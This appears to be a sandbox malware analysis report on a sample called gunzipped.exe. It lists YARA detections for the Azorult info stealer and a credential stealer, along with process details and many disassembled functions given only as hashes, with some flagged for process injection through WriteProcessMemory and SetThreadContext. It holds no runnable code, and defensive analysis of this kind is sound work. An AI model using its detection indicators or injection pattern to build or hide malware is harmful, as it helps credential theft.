Apr 23, 2021 11:08:00.161204100 CEST	5284	IN	HTTP/1.1 200 OK Date: Fri, 23 Apr 2021 09:08:00 GMT Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 X-Powered-By: PHP/7.3.27 Content-Length: 5 Content-Type: text/html; charset=UTF-8 Data Raw: ef bb bf 4f 4b Data Ascii: OK

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: gunzipped.exe PID: 5624 Parent PID: 5784

General

Start time:	11:07:39
Start date:	23/04/2021
Path:	C:\Users\user\Desktop\gunzipped.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\gunzipped.exe'
Imagebase:	0xc40000
File size:	710144 bytes
MD5 hash:	289691163EA5795A930703689EB1B3B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000001.00000002.263485102.000000000C3B1000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: gunzipped.exe PID: 5472 Parent PID: 5624

General

Start time:	11:07:46
Start date:	23/04/2021
Path:	C:\Users\user\Desktop\gunzipped.exe
Wow64 process (32bit):	true
Commandline:	{path}
Imagebase:	0x4a0000
File size:	710144 bytes
MD5 hash:	289691163EA5795A930703689EB1B3B9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.283731822.0000000003C38000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000003.283052268.00000000033A0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000003.279779219.00000000033C4000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult, Description: Yara detected Azorult Info Stealer, Source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Azorult_1, Description: Yara detected Azorult, Source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Azorult_1, Description: Azorult Payload, Source: 00000003.00000002.283965391.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.280585798.00000000038F0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: gunzipped.exe PID: 5624 Parent PID: 5784 gunzipped.exeCOMMON

Executed Functions

Function 016F41F7, Relevance: 2.7, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

W!M, xrefs: 016F431B
~EL, xrefs: 016F4401

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: W!M$~EL
API String ID: 0-3427533845
Opcode ID: 0be304642440be4d485059dcf17e128298aaf1a5eabccf3be05966b2c0d36e58
Instruction ID: ebd80f1ad1a1eca28aaf076fd9e98791bc1f5ddb1ccbf2fff9d9a6c06f49c95e
Opcode Fuzzy Hash: 0be304642440be4d485059dcf17e128298aaf1a5eabccf3be05966b2c0d36e58
Instruction Fuzzy Hash: A0A15670D05709DFCB44CFA9DA906ADBBB2FF8A314F14816AD916AB710DB356A42CF40

Uniqueness

Uniqueness Score: -1.00%

Function 016F42A0, Relevance: 2.7, Strings: 2, Instructions: 158COMMON

Download Yara Rule

Strings

W!M, xrefs: 016F431B
~EL, xrefs: 016F4401

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: W!M$~EL
API String ID: 0-3427533845
Opcode ID: d4f88719f4c4198cb60313bcf4728ffa34e6f5a27eaa03bb071d78d964ca8c2c
Instruction ID: 95bd388352d4ea067ec9ec994a5f7275a941723366bd4cd033bbea7beebe56e8
Opcode Fuzzy Hash: d4f88719f4c4198cb60313bcf4728ffa34e6f5a27eaa03bb071d78d964ca8c2c
Instruction Fuzzy Hash: 4471C0B4D05219DFDB08CFA9D884AAEBBB2FF89300F20816AD505BB354DB355A42CF51

Uniqueness

Uniqueness Score: -1.00%

Function 016F2DF1, Relevance: 2.6, Strings: 2, Instructions: 147COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016F2F46
X1(r, xrefs: 016F2F82

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r$X1(r
API String ID: 0-542892166
Opcode ID: 3b97df333e45deac002ae07973e0281b110ae759122986f2bf6fb860582925c5
Instruction ID: 691850cc3e5cdd1be8077d408068c3d3ea00680132e84a683ed522b62d7ce0cb
Opcode Fuzzy Hash: 3b97df333e45deac002ae07973e0281b110ae759122986f2bf6fb860582925c5
Instruction Fuzzy Hash: 8051C5B0E01208DFDB59DFA9D954AAEBBF2FF88300F24806AD505AB354DB359941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016F3338, Relevance: 2.6, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016F33CF
X1(r, xrefs: 016F33C4

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r$X1(r
API String ID: 0-542892166
Opcode ID: 97de297c1972548db72cf253f1f316586e656b48bf13eb3bc39f5e983feec916
Instruction ID: 866479f0656bfcf4213c2e333b062eb968b663edb46402a7a2716497b8d5f44a
Opcode Fuzzy Hash: 97de297c1972548db72cf253f1f316586e656b48bf13eb3bc39f5e983feec916
Instruction Fuzzy Hash: 2351B0B4E052199FDB04DFA9D984AAEFBF2FF88300F24C169D514AB355D734AA41CB60

Uniqueness

Uniqueness Score: -1.00%

Function 016F2E00, Relevance: 2.6, Strings: 2, Instructions: 141COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016F2F46
X1(r, xrefs: 016F2F82

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r$X1(r
API String ID: 0-542892166
Opcode ID: d052ab416433d9436254a700baebd8efbd017e7bb76d4751202771e3ef4a9351
Instruction ID: f2fb56a9db252d2468b96c79c8cfe6e49bc90beddf941cca8579909fca9d2280
Opcode Fuzzy Hash: d052ab416433d9436254a700baebd8efbd017e7bb76d4751202771e3ef4a9351
Instruction Fuzzy Hash: 6551A4B4E012089FDB58DFAAD944AAEFBF2BF88300F24816AD505AB354DB359941CF54

Uniqueness

Uniqueness Score: -1.00%

Function 016F26D8, Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016F282C

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r
API String ID: 0-3909273932
Opcode ID: e45dad3c40058e846681dad8606b1e91f5c4855eca2644809f56c1cf6dccb226
Instruction ID: 3234715c72abb5c88b4d157c7dd78708d2b40c991b0b14fa8d2403dc6c8002a0
Opcode Fuzzy Hash: e45dad3c40058e846681dad8606b1e91f5c4855eca2644809f56c1cf6dccb226
Instruction Fuzzy Hash: 9651A0B4E012099FDB44CFA9D944AADFBF2FF88300F24816AD818AB355EB359941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 016F26E8, Relevance: 1.4, Strings: 1, Instructions: 129COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016F282C

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r
API String ID: 0-3909273932
Opcode ID: f3092dcbc39f85b6b13bd758902a03d0200205607080e31532689d0e8377c6d2
Instruction ID: 24977bc65e34670fcd586356328c9faa320c5a1fa4de1907badedc7f2aad4fb8
Opcode Fuzzy Hash: f3092dcbc39f85b6b13bd758902a03d0200205607080e31532689d0e8377c6d2
Instruction Fuzzy Hash: 355170B4E012199FDB44DFA9D944AADFBF2FF88300F20816AD918AB354DB355941CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016F6019, Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7024fc8b628d879b34f119c694a2305fb0cca47a706a5daf982e8a99c0db080
Instruction ID: c8c2120b4d7c5c92a8fcc7297581a51d35499744282e2142f57d5bbd9f87d7c5
Opcode Fuzzy Hash: f7024fc8b628d879b34f119c694a2305fb0cca47a706a5daf982e8a99c0db080
Instruction Fuzzy Hash: 6DF19C7090620ADFC744CFA4DA958AEFBB1FF46325B28955EC501AB715C730AA42CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 016F8E56, Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce36862491d866494493d73b75a17184c5dd00ae2234c7bcbe9436c2ef65f8c9
Instruction ID: 1a0a26b777f092616b32bdb36bb4fb5bfb975814a7d20cdd2b979d63e2d78c85
Opcode Fuzzy Hash: ce36862491d866494493d73b75a17184c5dd00ae2234c7bcbe9436c2ef65f8c9
Instruction Fuzzy Hash: BFE15B70E02245DFDB24DFA8E68899CBBF1FB48309F2680A9E509AB354D735AD41CF11

Uniqueness

Uniqueness Score: -1.00%

Function 016F2A50, Relevance: .3, Instructions: 293COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63a9cd0159bdc4bd930838bfbe3c397ece06420698a907a68c09ee59b31b3ee1
Instruction ID: 97d83f6fef0a6f4f03ecbf9e8aad52eb971210f8a497ecd3ea54b7c13c166a8c
Opcode Fuzzy Hash: 63a9cd0159bdc4bd930838bfbe3c397ece06420698a907a68c09ee59b31b3ee1
Instruction Fuzzy Hash: 14D1C574D002099FDB14DF99C894AADFBB2FF48314F14C169D654AB385D734A982CF64

Uniqueness

Uniqueness Score: -1.00%

Function 016F8EA0, Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83e31247fd76b107022593bb920cac6e6b9d26951713659a278c603c222bc798
Instruction ID: 98bdd5df05550a9f2b572a5e1521b15482a528058f94c403b4b0c2b103101a39
Opcode Fuzzy Hash: 83e31247fd76b107022593bb920cac6e6b9d26951713659a278c603c222bc798
Instruction Fuzzy Hash: 88D14A74E02209DFDB24DFA8E68899CBBF1FB48309F6280A9E509AB354D7359D41CF14

Uniqueness

Uniqueness Score: -1.00%

Function 016F6108, Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80e3de0c33931a910757d623347167e1db7bda1ca40ba697f2ccf8865e534830
Instruction ID: d3d72c32c6874ed60cc603afedd3f2d69294b5a29ba46543efe7cd51a08f683a
Opcode Fuzzy Hash: 80e3de0c33931a910757d623347167e1db7bda1ca40ba697f2ccf8865e534830
Instruction Fuzzy Hash: 55C16B70D0520ADFCB04CFA8C9848AEFBB2FF49315F24A559D106BB215C734AA52CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 016F9B70, Relevance: .2, Instructions: 231COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72d5f5208976b91302267c24a352f99e54a5aed168ac8b38c99ea796b6236810
Instruction ID: 29169fcd20669dd3a66bdbfda6c53403c7489aca5702f7228280acc685e0dd72
Opcode Fuzzy Hash: 72d5f5208976b91302267c24a352f99e54a5aed168ac8b38c99ea796b6236810
Instruction Fuzzy Hash: 2AA12770D0520ACFCB04CFA9C9816AEFBF2FF49318F649529E515BB254D7349A428FA4

Uniqueness

Uniqueness Score: -1.00%

Function 016F9B60, Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab22919dc96caf7ea4bace9dbfcb5645458f40055fc4e889a8676cc07d213c99
Instruction ID: 0d98c0d5249c54befe0201c89642b43b2f4e271ceb1091f550a6aa93ca331ee9
Opcode Fuzzy Hash: ab22919dc96caf7ea4bace9dbfcb5645458f40055fc4e889a8676cc07d213c99
Instruction Fuzzy Hash: 32A12870D0520A8FCB04CFA9C9816AEFBF2FF89318F648529E514BB254D7349A428F94

Uniqueness

Uniqueness Score: -1.00%

Function 016FB610, Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b52779af810ad0504ff0ef0b3025f0a57f75e6aeea03b1e31c9b98cf15674d5
Instruction ID: f9f3c01c0c19b672914fae12ca7759683ffe9c766c40ac8ae4bb35ebfad95a2d
Opcode Fuzzy Hash: 7b52779af810ad0504ff0ef0b3025f0a57f75e6aeea03b1e31c9b98cf15674d5
Instruction Fuzzy Hash: D07125B0C0A259DFCB04CFA5E8806ADBFF1FB8A350F24A42AE511AB264D7745546CF15

Uniqueness

Uniqueness Score: -1.00%

Function 016F9FE8, Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19486f41e66e12688412d6bf3e2dda16fa3a566c657e1d8bbf4bcda45780beb7
Instruction ID: fed1b4b555bba20ecb5bbd5b24a88e3a87e7767dce0ee15511a8a305ca2271fd
Opcode Fuzzy Hash: 19486f41e66e12688412d6bf3e2dda16fa3a566c657e1d8bbf4bcda45780beb7
Instruction Fuzzy Hash: 7A61CC70D0520ACFCB04CFE8DA419AEFBB1FF89318F14962AD159BB254D7349A01CB65

Uniqueness

Uniqueness Score: -1.00%

Function 016FB620, Relevance: .2, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfadeec4f72726c3eaa99d54bca75d5652004adbea7c9b546b3f09fe6323694c
Instruction ID: 9f3eb2ee88afe30946fdb18950891a1171c4d15316f92404b8752badcf6337a3
Opcode Fuzzy Hash: dfadeec4f72726c3eaa99d54bca75d5652004adbea7c9b546b3f09fe6323694c
Instruction Fuzzy Hash: 5A6115B0C0A219EECB04CFA5E880AEDFFF5FB49350F14A42AE516A6264D7745542CF14

Uniqueness

Uniqueness Score: -1.00%

Function 016F9FF8, Relevance: .2, Instructions: 164COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d47738329f12c414fe1390583b9f2fcb4c37a411c8019b8e63ce2276989237
Instruction ID: 1f2963d99a7345725a89488e09cc467217b40615d02c28af95dcc228ba85ed51
Opcode Fuzzy Hash: 55d47738329f12c414fe1390583b9f2fcb4c37a411c8019b8e63ce2276989237
Instruction Fuzzy Hash: CC61BC70D0520ACFCB04CFE9D9419AEFBB2FF89358F14962AD159BB254D7349A01CB64

Uniqueness

Uniqueness Score: -1.00%

Function 016F2A40, Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa2055f92b6c1086b71ea30b9f533d3b61e3edac84f90a0488c6aecff1e3645c
Instruction ID: e8fa9a432ad1c062479ba093eac1091bfcbc4d1a63fe76e8ca92a8079568926e
Opcode Fuzzy Hash: aa2055f92b6c1086b71ea30b9f533d3b61e3edac84f90a0488c6aecff1e3645c
Instruction Fuzzy Hash: E041F375E006098FDB18CFAAC9946AEBBF2AF88304F14C06EC508A7255DB749A468F51

Uniqueness

Uniqueness Score: -1.00%

Function 016F499A, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a72787aa7d42a8a1ccaacc8233f2627e200c1a9dcf74d25b042547beaea0dbc
Instruction ID: 1e3c13d0cd831cad4eb17404fd3e76e17978acb64bf5e64b670b9ec6b1229b39
Opcode Fuzzy Hash: 4a72787aa7d42a8a1ccaacc8233f2627e200c1a9dcf74d25b042547beaea0dbc
Instruction Fuzzy Hash: BD418B75E052498FCB08CFA9C9445AEFBF2FF88300F14C0AAD915A7265DB349E45CB69

Uniqueness

Uniqueness Score: -1.00%

Function 016FB8B8, Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4545e9ea9c6c04ab5419ceed4d2075dea5e66805f33aee8c04c493e608f8061d
Instruction ID: 4c3d54dd58123185b7edccce1d8cf595cbb645e2050232edd7c8eefbf679fbf8
Opcode Fuzzy Hash: 4545e9ea9c6c04ab5419ceed4d2075dea5e66805f33aee8c04c493e608f8061d
Instruction Fuzzy Hash: 1441FA70D412198FDB68CF69DD44799FBB2EB89300F1080BAD61DA7254EB705A85DF40

Uniqueness

Uniqueness Score: -1.00%

Function 016F49A8, Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6106fc5886870f8ea84bd749e307ca1c8cce358ec056a0c15e4bfe664241e216
Instruction ID: 44c3d9c576fc8a6889cf84aafc6553a0d894b3f1edd9f04e056a54601b5fcc6d
Opcode Fuzzy Hash: 6106fc5886870f8ea84bd749e307ca1c8cce358ec056a0c15e4bfe664241e216
Instruction Fuzzy Hash: B0412971E05209CFDB08CFAAC9446AEFBF2EF88301F14D06AD915B7654DB349A45CB68

Uniqueness

Uniqueness Score: -1.00%

Function 016FB8AA, Relevance: .1, Instructions: 104COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1dfaa0cfa87b7a1474e4ac3425ada34eab7678f5b288525a1d6c4f7d65d11242
Instruction ID: 7264f961ef0b0f340ddeac89bfa0d56c7b9624daf95909713b242095c6aaaf85
Opcode Fuzzy Hash: 1dfaa0cfa87b7a1474e4ac3425ada34eab7678f5b288525a1d6c4f7d65d11242
Instruction Fuzzy Hash: CF41E670D1161A8FDBA8CF69D94479EFAF2AB89300F14C0BAD51DA7254EB305A85DF00

Uniqueness

Uniqueness Score: -1.00%

Function 016F8430, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63b86c2b2688de2662f61484311eed1133f6cfacebb3bb4c21580e0597bff65d
Instruction ID: 821aed91127b77e521cf18229d0ccc278dc2a8b87f1f04cbd3a8eaf2857efcba
Opcode Fuzzy Hash: 63b86c2b2688de2662f61484311eed1133f6cfacebb3bb4c21580e0597bff65d
Instruction Fuzzy Hash: 2B31E671E016198BEB18DFABD84469EBBF7BFC9300F14C1A9D508AB254DB7059418F51

Uniqueness

Uniqueness Score: -1.00%

Function 016F5280, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2381648c7f438fa6af81a8d3dd82f39392e893782ee0ee2dcca5c3b94cb9f60e
Instruction ID: e9fe2092f30a394d0320e5de72d8dcc89311aa09e5c2c1f8212046f7e00d3ae8
Opcode Fuzzy Hash: 2381648c7f438fa6af81a8d3dd82f39392e893782ee0ee2dcca5c3b94cb9f60e
Instruction Fuzzy Hash: C921B7B1E016188BDB18CF9AD8446DEFBF2BFC9310F14C06AD509A6268DB751A45CF90

Uniqueness

Uniqueness Score: -1.00%

Function 016F5270, Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6c27a87aed8a9ae240306a330c2c23641d5da20cf9ccafd921e5b65ed92be04
Instruction ID: bf74b8c5f6070060de3b29424c225248874fd15824f8fd7c6eb864c38611912c
Opcode Fuzzy Hash: b6c27a87aed8a9ae240306a330c2c23641d5da20cf9ccafd921e5b65ed92be04
Instruction Fuzzy Hash: 1131F9B0E016188BDB18CFAADD5429EBFF3BFC9300F14C06AD409AA268DB741A45CF41

Uniqueness

Uniqueness Score: -1.00%

Function 016F3328, Relevance: 2.6, Strings: 2, Instructions: 101COMMON

Download Yara Rule

Strings

X1(r, xrefs: 016F33CF
X1(r, xrefs: 016F33C4

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID: X1(r$X1(r
API String ID: 0-542892166
Opcode ID: 583b278ba916d850f5561f7229a0c3bbf325ef70e4af0705377bfd9ed7fec674
Instruction ID: e4eff528d0f9a0f28697a71915c57faabca7e0f503d6b560483efbf873471e1a
Opcode Fuzzy Hash: 583b278ba916d850f5561f7229a0c3bbf325ef70e4af0705377bfd9ed7fec674
Instruction Fuzzy Hash: 5841C474E05208DFDB44DFAAD984AAEBBF2FF88300F24C16AD514A7354D7349A41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 016F0140, Relevance: 2.2, Instructions: 2211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99cb257448a1bcf2bd28bc43094f80be9dda72dc92130edb8f74c3e9d918a237
Instruction ID: 28cc00b59c2893ee275b76783505141e192355ded4169d7fccf1956118cca224
Opcode Fuzzy Hash: 99cb257448a1bcf2bd28bc43094f80be9dda72dc92130edb8f74c3e9d918a237
Instruction Fuzzy Hash: B933DA34A02218DFDB25DB24C984BD9B7B2FF4A304F6185E9E5096B361CB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 016F0150, Relevance: 2.2, Instructions: 2205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.253945743.00000000016F0000.00000040.00000001.sdmp, Offset: 016F0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bcc4da24ac5707e44b9f4add43969a161959e20958f843f35763b4e30e70b726
Instruction ID: 3b02f9e3b5218dbea7c44b146b631fbd394abf59f2e9e7ce9ddebcaf5282cf48
Opcode Fuzzy Hash: bcc4da24ac5707e44b9f4add43969a161959e20958f843f35763b4e30e70b726
Instruction Fuzzy Hash: 5333DA34A02218DFDB25DB24C984BD9B7B2FF4A304F6185E9E5096B361CB35AE85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 057F0574, Relevance: 1.6, APIs: 1, Instructions: 68injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 057F05F4

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 4cec5b8b057fab4e83bc6e50956615ec84dcd5a10c3e3867295e0aa1c099e5dd
Instruction ID: a45e5ab682dc907af6260a3c389f24b8911c3f3cfb9c22cf9e6a599cb471da2c
Opcode Fuzzy Hash: 4cec5b8b057fab4e83bc6e50956615ec84dcd5a10c3e3867295e0aa1c099e5dd
Instruction Fuzzy Hash: 1A21D3754093C09FDB12CF25DC44A96FFB4EF06210F0980DFE9858B263D2249848DB22

Uniqueness

Uniqueness Score: -1.00%

Function 057F06D5, Relevance: 1.6, APIs: 1, Instructions: 62windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 057F0749

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 8164ef19717e20cb89d4d5b54b1fd3dbc40e9e341f547c04b32348b3a09c7514
Instruction ID: 2f8bde60f041e4efa4ec6ce744587be34bd1624a4dc2ee5636c992d9ddf4aeb6
Opcode Fuzzy Hash: 8164ef19717e20cb89d4d5b54b1fd3dbc40e9e341f547c04b32348b3a09c7514
Instruction Fuzzy Hash: 58218C714093C09FDB238F25CC44A52BFB4EF17220F0984DAE9858F263D265A858DB62

Uniqueness

Uniqueness Score: -1.00%

Function 057F04D3, Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 057F0538

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: c98ae68452292602c2352e04524799712730ad3277a95f72e6ccfdafbee38ca8
Instruction ID: dda5278c33b77409e5c18c76d320e4b7034dbb574456754359e07138aa51aec7
Opcode Fuzzy Hash: c98ae68452292602c2352e04524799712730ad3277a95f72e6ccfdafbee38ca8
Instruction Fuzzy Hash: D211E2764097809FDB228F21DC44E52FFB4EF06220F0880DEED858B263D275A558DB62

Uniqueness

Uniqueness Score: -1.00%

Function 057F09C3, Relevance: 1.6, APIs: 1, Instructions: 56windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 057F0A2D

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: dce71f2fa1baa55d217927e83dff370f9db8ccd92d5bffc4766f285603ecef9a
Instruction ID: 32210304ab1c3c583b7778d69cb29b6828c725c515b3315484559ce849f7df11
Opcode Fuzzy Hash: dce71f2fa1baa55d217927e83dff370f9db8ccd92d5bffc4766f285603ecef9a
Instruction Fuzzy Hash: 2211BE714097809FDB228F15DC45B62FFB4EF06220F08809EED854B263D265A418DB61

Uniqueness

Uniqueness Score: -1.00%

Function 057F042C, Relevance: 1.6, APIs: 1, Instructions: 55threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 057F048B

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: f989ac9501cf2eba10f07d10ac0c5a67a6d70e70ad0a019089ef11c7744178a7
Instruction ID: adf288fdd19d40f2f829cb437a564befd9b8810f8de1918d21638f8742e5f6a4
Opcode Fuzzy Hash: f989ac9501cf2eba10f07d10ac0c5a67a6d70e70ad0a019089ef11c7744178a7
Instruction Fuzzy Hash: E511B2715053849FD711CF55CC44E62FFE8EF46220F0980AAED458B362D238A948CB61

Uniqueness

Uniqueness Score: -1.00%

Function 057F05AE, Relevance: 1.5, APIs: 1, Instructions: 47injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 057F05F4

Memory Dump Source

Source File: 00000001.00000002.257194836.00000000057F0000.00000040.00000001.sdmp, Offset: 057F0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 57f338e0064b7039686afc2d14fa5874aa36ba45e98204f14ec639872a60fde5
Instruction ID: 0b5b4b30d8735fd327e50648ba918b1fb86139bc6293100c13e711c046f8ec4c
